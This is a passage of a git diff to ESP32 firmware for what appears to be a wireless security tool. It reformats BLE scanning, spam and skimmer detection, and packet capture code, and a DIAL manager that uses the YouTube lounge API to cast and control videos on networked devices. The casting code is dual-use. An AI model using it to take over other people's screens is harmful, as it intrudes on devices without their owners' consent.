ble_gap_disc(BLE_OWN_ADDR_PUBLIC, BLE_HS_FOREVER, &disc_params, ble_gap_event_general, + NULL); if (rc != 0) { - ESP_LOGE(TAG_BLE, "Error starting BLE scan; rc=%d", rc); - TERMINAL_VIEW_ADD_TEXT("Error starting BLE scan; rc=%d\n", rc); + ESP_LOGE(TAG_BLE, "Error starting BLE scan"); + TERMINAL_VIEW_ADD_TEXT("Error starting BLE scan\n"); } else { ESP_LOGI(TAG_BLE, "Scanning started..."); TERMINAL_VIEW_ADD_TEXT("Scanning started...\n"); } } - esp_err_t ble_register_handler(ble_data_handler_t handler) { if (handler_count < MAX_HANDLERS) { - ble_handler_t *new_handlers = realloc(handlers, (handler_count + 1) * sizeof(ble_handler_t)); + ble_handler_t *new_handlers = + realloc(handlers, (handler_count + 1) * sizeof(ble_handler_t)); if (!new_handlers) { ESP_LOGE(TAG_BLE, "Failed to allocate memory for handlers"); return ESP_ERR_NO_MEM; @@ -464,7 +514,6 @@ esp_err_t ble_register_handler(ble_data_handler_t handler) { return ESP_ERR_NO_MEM; } - esp_err_t ble_unregister_handler(ble_data_handler_t handler) { for (int i = 0; i < handler_count; i++) { if (handlers[i].handler == handler) { @@ -486,28 +535,63 @@ esp_err_t ble_unregister_handler(ble_data_handler_t handler) { void ble_init(void) { #ifndef CONFIG_IDF_TARGET_ESP32S2 -if (!ble_initialized) { - nvs_flash_init(); - nimble_port_init(); + if (!ble_initialized) { + esp_err_t ret = nvs_flash_init(); + if (ret == ESP_ERR_NVS_NO_FREE_PAGES || ret == ESP_ERR_NVS_NEW_VERSION_FOUND) { + // NVS partition was truncated and needs to be erased + ESP_ERROR_CHECK(nvs_flash_erase()); + ret = nvs_flash_init(); + } + ESP_ERROR_CHECK(ret); - nimble_port_freertos_init(nimble_host_task); - ble_initialized = true; + if (handlers == NULL) { + handlers = malloc(sizeof(ble_handler_t) * MAX_HANDLERS); + if (handlers == NULL) { + ESP_LOGE(TAG_BLE, "Failed to allocate handlers array"); + return; + } + memset(handlers, 0, sizeof(ble_handler_t) * MAX_HANDLERS); + handler_count = 0; + } - ESP_LOGI(TAG_BLE, "BLE initialized"); - TERMINAL_VIEW_ADD_TEXT("BLE initialized\n"); -} + ret = nimble_port_init(); + if (ret != 0) { + ESP_LOGE(TAG_BLE, "Failed to init nimble port: %d", ret); + free(handlers); + handlers = NULL; + return; + } + + // Configure and start the NimBLE host task + static StackType_t host_task_stack[4096]; + static StaticTask_t host_task_buf; + + xTaskCreateStatic(nimble_host_task, "nimble_host", + sizeof(host_task_stack) / sizeof(StackType_t), NULL, 5, host_task_stack, + &host_task_buf); + + ble_initialized = true; + ESP_LOGI(TAG_BLE, "BLE initialized"); + TERMINAL_VIEW_ADD_TEXT("BLE initialized\n"); + } #endif } -void ble_start_find_flippers(void) -{ +void ble_start_find_flippers(void) { ble_register_handler(ble_findtheflippers_callback); ble_start_scanning(); } void ble_deinit(void) { if (ble_initialized) { + if (handlers != NULL) { + free(handlers); + handlers = NULL; + handler_count = 0; + } + nimble_port_stop(); + nimble_port_deinit(); ble_initialized = false; ESP_LOGI(TAG_BLE, "BLE deinitialized successfully."); TERMINAL_VIEW_ADD_TEXT("BLE deinitialized successfully.\n"); @@ -515,6 +599,16 @@ void ble_deinit(void) { } void ble_stop(void) { + if (!ble_initialized) { + // comment out for now because it will this print out every time the user + // sends stop on flipper app and it's not 100% needed but it's good to have + // it for debugging + + /* printf("BLE not initialized.\n"); + TERMINAL_VIEW_ADD_TEXT("BLE not initialized.\n"); */ + return; + } + if (last_company_id != NULL) { free(last_company_id); last_company_id = NULL; @@ -526,100 +620,115 @@ void ble_stop(void) { esp_timer_delete(flush_timer); flush_timer = NULL; } - + rgb_manager_set_color(&rgb_manager, 0, 0, 0, 0, false); ble_unregister_handler(ble_findtheflippers_callback); ble_unregister_handler(airtag_scanner_callback); ble_unregister_handler(ble_print_raw_packet_callback); ble_unregister_handler(detect_ble_spam_callback); pcap_flush_buffer_to_file(); // Final flush - pcap_file_close(); // Close the file after final flush - + pcap_file_close(); // Close the file after final flush + int rc = ble_gap_disc_cancel(); - if (rc == 0) { + switch (rc) { + case 0: printf("BLE scanning stopped successfully.\n"); TERMINAL_VIEW_ADD_TEXT("BLE scanning stopped successfully.\n"); - } else if (rc == BLE_HS_EALREADY) { + break; + case BLE_HS_EALREADY: printf("BLE scanning was not active.\n"); TERMINAL_VIEW_ADD_TEXT("BLE scanning was not active.\n"); - } else { - printf("Failed to stop BLE scanning; rc=%d\n", rc); - TERMINAL_VIEW_ADD_TEXT("Failed to stop BLE scanning; rc=%d\n", rc); + break; + case BLE_HS_EBUSY: + printf("BLE scanning is busy\n"); + TERMINAL_VIEW_ADD_TEXT("BLE scanning is busy\n"); + break; + case BLE_HS_ETIMEOUT: + printf("BLE operation timed out.\n"); + TERMINAL_VIEW_ADD_TEXT("BLE operation timed out.\n"); + break; + case BLE_HS_ENOTCONN: + printf("BLE not connected.\n"); + TERMINAL_VIEW_ADD_TEXT("BLE not connected.\n"); + break; + case BLE_HS_EINVAL: + printf("BLE invalid parameter.\n"); + TERMINAL_VIEW_ADD_TEXT("BLE invalid parameter.\n"); + break; + default: + printf("Error stopping BLE scan: %d\n", rc); + TERMINAL_VIEW_ADD_TEXT("Error stopping BLE scan: %d\n", rc); } } -void ble_start_blespam_detector(void) -{ +void ble_start_blespam_detector(void) { ble_register_handler(detect_ble_spam_callback); ble_start_scanning(); } -void ble_start_raw_ble_packetscan(void) -{ +void ble_start_raw_ble_packetscan(void) { ble_register_handler(ble_print_raw_packet_callback); ble_start_scanning(); } -void ble_start_airtag_scanner(void) -{ +void ble_start_airtag_scanner(void) { ble_register_handler(airtag_scanner_callback); ble_start_scanning(); } static void ble_pcap_callback(struct ble_gap_event *event, size_t len) { - if (!event || len == 0) return; - - uint8_t hci_buffer[258]; // Max HCI packet size + if (!event || len == 0) + return; + + uint8_t hci_buffer[258]; // Max HCI packet size size_t hci_len = 0; - + if (event->type == BLE_GAP_EVENT_DISC) { // [1] HCI packet type (0x04 for HCI Event) hci_buffer[0] = 0x04; - + // [2] HCI Event Code (0x3E for LE Meta Event) hci_buffer[1] = 0x3E; - + // [3] Calculate total parameter length - uint8_t param_len = 10 + event->disc.length_data; // 1 (subevent) + 1 (num reports) + 1 (event type) + 1 (addr type) + 6 (addr) + uint8_t param_len = 10 + event->disc.length_data; // 1 (subevent) + 1 (num reports) + 1 + // (event type) + 1 (addr type) + 6 (addr) hci_buffer[2] = param_len; - + // [4] LE Meta Subevent (0x02 for LE Advertising Report) hci_buffer[3] = 0x02; - + // [5] Number of reports hci_buffer[4] = 0x01; - + // [6] Event type (ADV_IND = 0x00) hci_buffer[5] = 0x00; - + // [7] Address type hci_buffer[6] = event->disc.addr.type; - + // [8] Address (6 bytes) memcpy(&hci_buffer[7], event->disc.addr.val, 6); - + // [9] Data length hci_buffer[13] = event->disc.length_data; - + // [10] Data if (event->disc.length_data > 0) { memcpy(&hci_buffer[14], event->disc.data, event->disc.length_data); } - + // [11] RSSI hci_buffer[14 + event->disc.length_data] = (uint8_t)event->disc.rssi; - - hci_len = 15 + event->disc.length_data; // Total length - - // Debug logging - ESP_LOGI("BLE_PCAP", "HCI Event: type=0x04, meta=0x3E, len=%d", hci_len); - printf("Packet: "); - for (int i = 0; i < hci_len; i++) { - printf("%02x ", hci_buffer[i]); - } - printf("\n"); - + + hci_len = 15 + event->disc.length_data; // Total length + + // packet logging (don't print to display terminal to prevent overwhelming) + printf("BLE Packet Received:\nType: 0x04 (HCI Event)\nMeta: 0x3E " + "(LE)\nLength: %d\n", + hci_len); + pcap_write_packet_to_buffer(hci_buffer, hci_len, PCAP_CAPTURE_BLUETOOTH); } } @@ -628,37 +737,35 @@ void ble_start_capture(void) { // Open PCAP file first esp_err_t err = pcap_file_open("ble_capture", PCAP_CAPTURE_BLUETOOTH); if (err != ESP_OK) { - ESP_LOGE("BLE_PCAP", "Failed to open PCAP file: %d", err); + ESP_LOGE("BLE_PCAP", "Failed to open PCAP file"); return; } - + // Register BLE handler only after file is open ble_register_handler(ble_pcap_callback); - + // Create a timer to flush the buffer periodically - esp_timer_create_args_t timer_args = { - .callback = (esp_timer_cb_t)pcap_flush_buffer_to_file, - .name = "pcap_flush" - }; - + esp_timer_create_args_t timer_args = {.callback = (esp_timer_cb_t)pcap_flush_buffer_to_file, + .name = "pcap_flush"}; + if (esp_timer_create(&timer_args, &flush_timer) == ESP_OK) { esp_timer_start_periodic(flush_timer, 1000000); // Flush every second } - + ble_start_scanning(); } void ble_start_skimmer_detection(void) { ESP_LOGI("BLE", "Starting skimmer detection scan..."); TERMINAL_VIEW_ADD_TEXT("Starting skimmer detection scan...\n"); - + // Register the skimmer detection callback esp_err_t err = ble_register_handler(ble_skimmer_scan_callback); if (err != ESP_OK) { ESP_LOGE("BLE", "Failed to register skimmer detection callback"); return; } - + // Start BLE scanning ble_start_scanning(); } diff --git a/main/managers/dial_manager.c b/main/managers/dial_manager.c index 3794915d..b17435f6 100644 --- a/main/managers/dial_manager.c +++ b/main/managers/dial_manager.c @@ -1,1074 +1,1054 @@ #pragma GCC diagnostic push #pragma GCC diagnostic ignored "-Wmaybe-uninitialized" -#include -#include #include "managers/dial_manager.h" -#include "esp_log.h" #include "cJSON.h" -#include "esp_http_client.h" #include "esp_crt_bundle.h" - +#include "esp_http_client.h" +#include "esp_log.h" +#include +#include static const char *TAG = "DIALManager"; typedef struct { - char *buffer; - int buffer_len; - int buffer_size; + char *buffer; + int buffer_len; + int buffer_size; } response_buffer_t; - typedef struct { - char* sid; // Store SID - char* gsessionid; // Store gsessionid - char* listId; // Store listId + char *sid; // Store SID + char *gsessionid; // Store gsessionid + char *listId; // Store listId } BindSession_Params_t; -char* getC(const char* input) -{ - const char *start = strstr(input, "c\",\""); - - if (start != NULL) { - start += 4; - - const char *end = strchr(start, '"'); - - if (end != NULL) { - size_t len = end - start; - char *result = (char*)malloc(len + 1); - - if (result != NULL) { - strncpy(result, start, len); - result[len] = '\0'; - } - - return result; - } - } - - return NULL; -} +char *getC(const char *input) { + const char *start = strstr(input, "c\",\""); -char* getS(const char* input) -{ - const char *start = strstr(input, "S\",\""); - - if (start != NULL) { - start += 4; - - const char *end = strchr(start, '"'); - - if (end != NULL) { - size_t len = end - start; - char *result = (char*)malloc(len + 1); - - if (result != NULL) { - strncpy(result, start, len); - result[len] = '\0'; - } - - return result; - } - } - - return NULL; -} + if (start != NULL) { + start += 4; + const char *end = strchr(start, '"'); -char* getlistId(const char* input) -{ - const char *start = strstr(input, "\"playlistModified\",{\"listId\":\""); - - if (start != NULL) { - start += 30; - - const char *end = strchr(start, '"'); - - if (end != NULL) { - size_t len = end - start; - char *result = (char*)malloc(len + 1); - - if (result != NULL) { - strncpy(result, start, len); - result[len] = '\0'; - } - - return result; - } - } - - return NULL; -} + if (end != NULL) { + size_t len = end - start; + char *result = (char *)malloc(len + 1); + if (result != NULL) { + strncpy(result, start, len); + result[len] = '\0'; + } -esp_err_t _http_event_handler(esp_http_client_event_t *evt) { - response_buffer_t *resp_buf = evt->user_data; - switch (evt->event_id) { - case HTTP_EVENT_ON_DATA: - if (resp_buf->buffer_len + evt->data_len >= resp_buf->buffer_size) { - resp_buf->buffer_size += evt->data_len; - char *new_buffer = realloc(resp_buf->buffer, resp_buf->buffer_size); - if (new_buffer == NULL) { - ESP_LOGE(TAG, "Failed to allocate memory for response buffer"); - return ESP_FAIL; - } - resp_buf->buffer = new_buffer; - } - memcpy(resp_buf->buffer + resp_buf->buffer_len, evt->data, evt->data_len); - resp_buf->buffer_len += evt->data_len; - break; - default: - break; + return result; } - return ESP_OK; + } + + return NULL; } -#define SERVER_PORT 443 -#define MAX_APP_URL_LENGTH 500 +char *getS(const char *input) { + const char *start = strstr(input, "S\",\""); -BindSession_Params_t parse_response(const char *response_body) { - BindSession_Params_t result; + if (start != NULL) { + start += 4; - result.gsessionid = getS(response_body); - result.sid = getC(response_body); - result.listId = getlistId(response_body); - - return result; -} + const char *end = strchr(start, '"'); + if (end != NULL) { + size_t len = end - start; + char *result = (char *)malloc(len + 1); -char *url_encode(const char *str) { - const char *hex = "0123456789ABCDEF"; - char *encoded = malloc(strlen(str) * 3 + 1); // Worst case scenario - char *pencoded = encoded; - if (!encoded) { - ESP_LOGE(TAG, "Failed to allocate memory for URL encoding"); - return NULL; - } + if (result != NULL) { + strncpy(result, start, len); + result[len] = '\0'; + } - while (*str) { - if (('a' <= *str && *str <= 'z') || - ('A' <= *str && *str <= 'Z') || - ('0' <= *str && *str <= '9') || - (*str == '-' || *str == '_' || *str == '.' || *str == '~')) { - *pencoded++ = *str; - } else { - *pencoded++ = '%'; - *pencoded++ = hex[(*str >> 4) & 0xF]; - *pencoded++ = hex[*str & 0xF]; - } - str++; + return result; } - *pencoded = '\0'; - return encoded; -} + } -char* generate_uuid() { - static char uuid[37]; // 36 characters + null terminator - snprintf(uuid, sizeof(uuid), "%08x-%04x-%04x-%04x-%08x%04x", - (unsigned int)esp_random(), // 8 hex digits - (unsigned int)(esp_random() & 0xFFFF), // 4 hex digits - (unsigned int)(esp_random() & 0xFFFF), // 4 hex digits - (unsigned int)(esp_random() & 0xFFFF), // 4 hex digits - (unsigned int)(esp_random()), // First 8 hex digits of the last part - (unsigned int)(esp_random() & 0xFFFF)); // Last 4 hex digits of the last part - return uuid; + return NULL; } -char *generate_zx() { - static const char alphanum[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; - char *zx = malloc(17); - if (!zx) { - ESP_LOGE(TAG, "Failed to allocate memory for zx"); - return NULL; - } - for (int i = 0; i < 16; ++i) { - zx[i] = alphanum[esp_random() % (sizeof(alphanum) - 1)]; - } - zx[16] = '\0'; - return zx; -} +char *getlistId(const char *input) { + const char *start = strstr(input, "\"playlistModified\",{\"listId\":\""); -char* extract_path_from_url(const char *url) { - // Find the first slash after the host and port (i.e., after "://host:port/") - const char *path_start = strchr(url + 7, '/'); // +7 to skip over "http://" - if (path_start) { - return strdup(path_start); // Duplicate and return the path - } - return strdup("/"); // Default to "/" if no path is found -} + if (start != NULL) { + start += 30; -char* extract_application_url(const char *headers) { - const char *app_url_header = strstr(headers, "Application-Url"); - if (!app_url_header) { - return NULL; - } + const char *end = strchr(start, '"'); - const char *url_start = app_url_header + strlen("Application-Url"); - while (*url_start == ' ') url_start++; // Skip leading spaces + if (end != NULL) { + size_t len = end - start; + char *result = (char *)malloc(len + 1); - const char *url_end = strchr(url_start, '\r'); - if (!url_end) { - return NULL; - } + if (result != NULL) { + strncpy(result, start, len); + result[len] = '\0'; + } - size_t url_len = url_end - url_start; - char *application_url = malloc(url_len + 1); - if (application_url) { - strncpy(application_url, url_start, url_len); - application_url[url_len] = '\0'; // Null-terminate the URL + return result; } + } - return application_url; + return NULL; } -esp_err_t send_command(const char *command, const char *video_id, const Device *device) { - if (!device || !command) { - ESP_LOGE(TAG, "Invalid arguments: device or command is NULL."); - return ESP_ERR_INVALID_ARG; - } - - // URL-encode parameters - char *encoded_loungeIdToken = url_encode(device->YoutubeToken); - char *encoded_SID = url_encode(device->SID); - char *encoded_gsession = url_encode(device->gsession); - char *encoded_command = url_encode(command); - char *encoded_video_id = video_id ? url_encode(video_id) : NULL; // For commands that don't need video_id - - if (!encoded_loungeIdToken || !encoded_SID || !encoded_gsession || !encoded_command || (!encoded_video_id && video_id)) { - ESP_LOGE(TAG, "URL encoding failed for one or more parameters."); - goto cleanup; - } - - - char url_params[1024]; - snprintf(url_params, sizeof(url_params), - "CVER=1&RID=1&SID=%s&VER=8&gsessionid=%s&loungeIdToken=%s", - encoded_SID, encoded_gsession, encoded_loungeIdToken); - - ESP_LOGI(TAG, "Query Parameters: %s", url_params); - - - char body_params[1024]; - - if (strcmp(command, "setVideo") == 0) { - snprintf(body_params, sizeof(body_params), - "count=1&req0__sc=%s&req0_videoId=%s&req0_currentTime=0&req0_currentIndex=0&req0_videoIds=%s", - encoded_command, encoded_video_id, encoded_video_id); - } else if (strcmp(command, "addVideo") == 0) { - snprintf(body_params, sizeof(body_params), - "count=1&req0__sc=%s&req0_videoId=%s", - encoded_command, encoded_video_id); - } else if (strcmp(command, "play") == 0 || strcmp(command, "pause") == 0) { - snprintf(body_params, sizeof(body_params), - "count=1&req0__sc=%s", - encoded_command); - } else { - ESP_LOGE(TAG, "Unsupported command: %s", command); - goto cleanup; - } - - ESP_LOGI(TAG, "Body Parameters: %s", body_params); - - - response_buffer_t resp_buf = { - .buffer = malloc(1524), - .buffer_len = 0, - .buffer_size = 1524 - }; - if (!resp_buf.buffer) { - ESP_LOGE(TAG, "Failed to allocate memory for response buffer."); - goto cleanup; - } +esp_err_t _http_event_handler(esp_http_client_event_t *evt) { + response_buffer_t *resp_buf = evt->user_data; + switch (evt->event_id) { + case HTTP_EVENT_ON_DATA: + if (resp_buf->buffer_len + evt->data_len >= resp_buf->buffer_size) { + resp_buf->buffer_size += evt->data_len; + char *new_buffer = realloc(resp_buf->buffer, resp_buf->buffer_size); + if (new_buffer == NULL) { + ESP_LOGE(TAG, "Failed to allocate memory for response buffer"); + return ESP_FAIL; + } + resp_buf->buffer = new_buffer; + } + memcpy(resp_buf->buffer + resp_buf->buffer_len, evt->data, evt->data_len); + resp_buf->buffer_len += evt->data_len; + break; + default: + break; + } + return ESP_OK; +} - // Configure HTTP client - esp_http_client_config_t config = { - .url = "https://www.youtube.com/api/lounge/bc/bind", - .timeout_ms = 5000, - .crt_bundle_attach = esp_crt_bundle_attach, - .transport_type = HTTP_TRANSPORT_OVER_SSL, - .event_handler = _http_event_handler, - .user_data = &resp_buf, - }; - esp_http_client_handle_t client = esp_http_client_init(&config); - - // Set the full URL with parameters - char full_url[1524]; - snprintf(full_url, sizeof(full_url), "%s?%s", config.url, url_params); - esp_http_client_set_url(client, full_url); - - ESP_LOGI(TAG, "Full URL: %s", full_url); - - // Set HTTP method, headers, and post data - esp_http_client_set_method(client, HTTP_METHOD_POST); - esp_http_client_set_header(client, "Content-Type", "application/x-www-form-urlencoded"); - esp_http_client_set_header(client, "Origin", "https://www.youtube.com"); - - esp_http_client_set_post_field(client, body_params, strlen(body_params)); - - // Perform the HTTP request - esp_err_t err = esp_http_client_perform(client); - if (err != ESP_OK) { - ESP_LOGE(TAG, "HTTP request failed: %s", esp_err_to_name(err)); - goto cleanup; - } +#define SERVER_PORT 443 +#define MAX_APP_URL_LENGTH 500 - ESP_LOGI(TAG, "Response: %s", resp_buf.buffer); +BindSession_Params_t parse_response(const char *response_body) { + BindSession_Params_t result; -cleanup: - // Free allocated memory - free(encoded_loungeIdToken); - free(encoded_SID); - free(encoded_gsession); - free(encoded_command); - if (encoded_video_id) { - free(encoded_video_id); - } - if (resp_buf.buffer) { - free(resp_buf.buffer); - } - esp_http_client_cleanup(client); + result.gsessionid = getS(response_body); + result.sid = getC(response_body); + result.listId = getlistId(response_body); - return ESP_OK; + return result; } +char *url_encode(const char *str) { + const char *hex = "0123456789ABCDEF"; + char *encoded = malloc(strlen(str) * 3 + 1); // Worst case scenario + char *pencoded = encoded; + if (!encoded) { + ESP_LOGE(TAG, "Failed to allocate memory for URL encoding"); + return NULL; + } -esp_err_t bind_session_id(Device *device) { - if (!device) { - ESP_LOGE(TAG, "Invalid device pointer."); - return ESP_ERR_INVALID_ARG; - } - + while (*str) { + if (('a' <= *str && *str <= 'z') || ('A' <= *str && *str <= 'Z') || + ('0' <= *str && *str <= '9') || + (*str == '-' || *str == '_' || *str == '.' || *str == '~')) { + *pencoded++ = *str; + } else { + *pencoded++ = '%'; + *pencoded++ = hex[(*str >> 4) & 0xF]; + *pencoded++ = hex[*str & 0xF]; + } + str++; + } + *pencoded = '\0'; + return encoded; +} - strcpy(device->UUID, generate_uuid()); +char *generate_uuid() { + static char uuid[37]; // 36 characters + null terminator + snprintf(uuid, sizeof(uuid), "%08x-%04x-%04x-%04x-%08x%04x", + (unsigned int)esp_random(), // 8 hex digits + (unsigned int)(esp_random() & 0xFFFF), // 4 hex digits + (unsigned int)(esp_random() & 0xFFFF), // 4 hex digits + (unsigned int)(esp_random() & 0xFFFF), // 4 hex digits + (unsigned int)(esp_random()), // First 8 hex digits of the last part + (unsigned int)(esp_random() & + 0xFFFF)); // Last 4 hex digits of the last part + return uuid; +} - // Generate ZX parameter - char *zx = generate_zx(); - if (!zx) { - ESP_LOGE(TAG, "Failed to generate zx"); - return ESP_FAIL; - } +char *generate_zx() { + static const char alphanum[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + char *zx = malloc(17); + if (!zx) { + ESP_LOGE(TAG, "Failed to allocate memory for zx"); + return NULL; + } + for (int i = 0; i < 16; ++i) { + zx[i] = alphanum[esp_random() % (sizeof(alphanum) - 1)]; + } + zx[16] = '\0'; + return zx; +} - // URL-encode parameter values - char *encoded_loungeIdToken = url_encode(device->YoutubeToken); - char *encoded_UUID = url_encode(device->UUID); - char *encoded_zx = url_encode(zx); - char *encoded_name = url_encode("Flipper_0"); - - if (!encoded_loungeIdToken || !encoded_UUID || !encoded_zx || !encoded_name) { - ESP_LOGE(TAG, "Failed to URL-encode parameters."); - free(encoded_loungeIdToken); - free(encoded_UUID); - free(encoded_zx); - free(encoded_name); - free(zx); - return ESP_FAIL; - } +char *extract_path_from_url(const char *url) { + // Find the first slash after the host and port (i.e., after "://host:port/") + const char *path_start = strchr(url + 7, '/'); // +7 to skip over "http://" + if (path_start) { + return strdup(path_start); // Duplicate and return the path + } + return strdup("/"); // Default to "/" if no path is found +} - - char url_params[1048]; - snprintf(url_params, sizeof(url_params), - "device=REMOTE_CONTROL&mdx-version=3&ui=1&v=2&name=%s" - "&app=youtube-desktop&loungeIdToken=%s&id=%s&VER=8&CVER=1&zx=%s&RID=%i", - encoded_name, encoded_loungeIdToken, encoded_UUID, encoded_zx, 1); - - - ESP_LOGI(TAG, "Constructed URL: %s?%s", "https://www.youtube.com/api/lounge/bc/bind", url_params); - - - response_buffer_t resp_buf = { - .buffer = malloc(1524), - .buffer_len = 0, - .buffer_size = 1524 - }; - if (resp_buf.buffer == NULL) { - ESP_LOGE(TAG, "Failed to allocate memory for response buffer"); - return ESP_FAIL; - } +char *extract_application_url(const char *headers) { + const char *app_url_header = strstr(headers, "Application-Url"); + if (!app_url_header) { + return NULL; + } - - esp_http_client_config_t config = { - .url = "https://www.youtube.com/api/lounge/bc/bind", - .timeout_ms = 5000, - .crt_bundle_attach = esp_crt_bundle_attach, - .transport_type = HTTP_TRANSPORT_OVER_SSL, - .event_handler = _http_event_handler, - .user_data = &resp_buf, - }; - esp_http_client_handle_t client = esp_http_client_init(&config); - - if (!client) { - ESP_LOGE(TAG, "Failed to initialize HTTP client."); - free(resp_buf.buffer); - return ESP_FAIL; - } + const char *url_start = app_url_header + strlen("Application-Url"); + while (*url_start == ' ') + url_start++; // Skip leading spaces - - esp_http_client_set_method(client, HTTP_METHOD_POST); - esp_http_client_set_header(client, "Content-Type", "application/json"); - esp_http_client_set_header(client, "Origin", "https://www.youtube.com"); - - - char full_url[4096]; - snprintf(full_url, sizeof(full_url), "%s?%s", config.url, url_params); - esp_http_client_set_url(client, full_url); - - - const char *json_data = "{\"count\": 0}"; - esp_http_client_set_post_field(client, json_data, strlen(json_data)); - - - ESP_LOGI(TAG, "Request Body: %s", json_data); - - - esp_err_t err = esp_http_client_perform(client); - if (err != ESP_OK) { - ESP_LOGE(TAG, "HTTP request failed: %s", esp_err_to_name(err)); - esp_http_client_cleanup(client); - free(resp_buf.buffer); - return err; - } - - - if (resp_buf.buffer_len < resp_buf.buffer_size) { - resp_buf.buffer[resp_buf.buffer_len] = '\0'; - } else { - char *new_buffer = realloc(resp_buf.buffer, resp_buf.buffer_size + 1); - if (new_buffer == NULL) { - ESP_LOGE(TAG, "Failed to allocate memory for null terminator"); - esp_http_client_cleanup(client); - free(resp_buf.buffer); - return ESP_FAIL; - } - resp_buf.buffer = new_buffer; - resp_buf.buffer[resp_buf.buffer_len] = '\0'; - } + const char *url_end = strchr(url_start, '\r'); + if (!url_end) { + return NULL; + } - printf("Response: %s", resp_buf.buffer); + size_t url_len = url_end - url_start; + char *application_url = malloc(url_len + 1); + if (application_url) { + strncpy(application_url, url_start, url_len); + application_url[url_len] = '\0'; // Null-terminate the URL + } - BindSession_Params_t result = parse_response(resp_buf.buffer); + return application_url; +} - - char *gsession_item = result.gsessionid; - char *sid_item = result.sid; - char *lid_item = result.listId; +esp_err_t send_command(const char *command, const char *video_id, + const Device *device) { + if (!device || !command) { + ESP_LOGE(TAG, "Invalid arguments: device or command is NULL."); + return ESP_ERR_INVALID_ARG; + } + + // URL-encode parameters + char *encoded_loungeIdToken = url_encode(device->YoutubeToken); + char *encoded_SID = url_encode(device->SID); + char *encoded_gsession = url_encode(device->gsession); + char *encoded_command = url_encode(command); + char *encoded_video_id = video_id + ? url_encode(video_id) + : NULL; // For commands that don't need video_id + + if (!encoded_loungeIdToken || !encoded_SID || !encoded_gsession || + !encoded_command || (!encoded_video_id && video_id)) { + ESP_LOGE(TAG, "URL encoding failed for one or more parameters."); + goto cleanup; + } + + char url_params[1024]; + snprintf(url_params, sizeof(url_params), + "CVER=1&RID=1&SID=%s&VER=8&gsessionid=%s&loungeIdToken=%s", + encoded_SID, encoded_gsession, encoded_loungeIdToken); + + ESP_LOGI(TAG, "Query Parameters: %s", url_params); + + char body_params[1024]; + + if (strcmp(command, "setVideo") == 0) { + snprintf(body_params, sizeof(body_params), + "count=1&req0__sc=%s&req0_videoId=%s&req0_currentTime=0&req0_" + "currentIndex=0&req0_videoIds=%s", + encoded_command, encoded_video_id, encoded_video_id); + } else if (strcmp(command, "addVideo") == 0) { + snprintf(body_params, sizeof(body_params), + "count=1&req0__sc=%s&req0_videoId=%s", encoded_command, + encoded_video_id); + } else if (strcmp(command, "play") == 0 || strcmp(command, "pause") == 0) { + snprintf(body_params, sizeof(body_params), "count=1&req0__sc=%s", + encoded_command); + } else { + ESP_LOGE(TAG, "Unsupported command: %s", command); + goto cleanup; + } + + ESP_LOGI(TAG, "Body Parameters: %s", body_params); + + response_buffer_t resp_buf = { + .buffer = malloc(1524), .buffer_len = 0, .buffer_size = 1524}; + if (!resp_buf.buffer) { + ESP_LOGE(TAG, "Failed to allocate memory for response buffer."); + goto cleanup; + } + + // Configure HTTP client + esp_http_client_config_t config = { + .url = "https://www.youtube.com/api/lounge/bc/bind", + .timeout_ms = 5000, + .crt_bundle_attach = esp_crt_bundle_attach, + .transport_type = HTTP_TRANSPORT_OVER_SSL, + .event_handler = _http_event_handler, + .user_data = &resp_buf, + }; + esp_http_client_handle_t client = esp_http_client_init(&config); + + // Set the full URL with parameters + char full_url[1524]; + snprintf(full_url, sizeof(full_url), "%s?%s", config.url, url_params); + esp_http_client_set_url(client, full_url); + + ESP_LOGI(TAG, "Full URL: %s", full_url); + + // Set HTTP method, headers, and post data + esp_http_client_set_method(client, HTTP_METHOD_POST); + esp_http_client_set_header(client, "Content-Type", + "application/x-www-form-urlencoded"); + esp_http_client_set_header(client, "Origin", "https://www.youtube.com"); + + esp_http_client_set_post_field(client, body_params, strlen(body_params)); + + // Perform the HTTP request + esp_err_t err = esp_http_client_perform(client); + if (err != ESP_OK) { + ESP_LOGE(TAG, "HTTP request failed: %s", esp_err_to_name(err)); + goto cleanup; + } + + ESP_LOGI(TAG, "Response: %s", resp_buf.buffer); +cleanup: + // Free allocated memory + free(encoded_loungeIdToken); + free(encoded_SID); + free(encoded_gsession); + free(encoded_command); + if (encoded_video_id) { + free(encoded_video_id); + } + if (resp_buf.buffer) { + free(resp_buf.buffer); + } + esp_http_client_cleanup(client); - if (gsession_item && sid_item) { - strcpy(device->gsession, gsession_item); - strcpy(device->SID, sid_item); - if (lid_item && lid_item) { - strcpy(device->listID, lid_item); - } - ESP_LOGI(TAG, "Session bound successfully."); - } else { - ESP_LOGE(TAG, "Failed to bind session ID."); - esp_http_client_cleanup(client); - free(resp_buf.buffer); - return ESP_FAIL; - } + return ESP_OK; +} - // Clean up +esp_err_t bind_session_id(Device *device) { + if (!device) { + ESP_LOGE(TAG, "Invalid device pointer."); + return ESP_ERR_INVALID_ARG; + } + + strcpy(device->UUID, generate_uuid()); + + // Generate ZX parameter + char *zx = generate_zx(); + if (!zx) { + ESP_LOGE(TAG, "Failed to generate zx"); + return ESP_FAIL; + } + + // URL-encode parameter values + char *encoded_loungeIdToken = url_encode(device->YoutubeToken); + char *encoded_UUID = url_encode(device->UUID); + char *encoded_zx = url_encode(zx); + char *encoded_name = url_encode("Flipper_0"); + + if (!encoded_loungeIdToken || !encoded_UUID || !encoded_zx || !encoded_name) { + ESP_LOGE(TAG, "Failed to URL-encode parameters."); free(encoded_loungeIdToken); free(encoded_UUID); free(encoded_zx); free(encoded_name); free(zx); - esp_http_client_cleanup(client); + return ESP_FAIL; + } + + char url_params[1048]; + snprintf( + url_params, sizeof(url_params), + "device=REMOTE_CONTROL&mdx-version=3&ui=1&v=2&name=%s" + "&app=youtube-desktop&loungeIdToken=%s&id=%s&VER=8&CVER=1&zx=%s&RID=%i", + encoded_name, encoded_loungeIdToken, encoded_UUID, encoded_zx, 1); + + ESP_LOGI(TAG, "Constructed URL: %s?%s", + "https://www.youtube.com/api/lounge/bc/bind", url_params); + + response_buffer_t resp_buf = { + .buffer = malloc(1524), .buffer_len = 0, .buffer_size = 1524}; + if (resp_buf.buffer == NULL) { + ESP_LOGE(TAG, "Failed to allocate memory for response buffer"); + return ESP_FAIL; + } + + esp_http_client_config_t config = { + .url = "https://www.youtube.com/api/lounge/bc/bind", + .timeout_ms = 5000, + .crt_bundle_attach = esp_crt_bundle_attach, + .transport_type = HTTP_TRANSPORT_OVER_SSL, + 